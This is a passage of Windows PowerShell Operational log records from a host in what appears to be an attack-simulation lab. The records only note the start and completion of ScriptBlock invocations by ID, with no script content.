09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043131
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043125
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043103
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043101
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043100
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
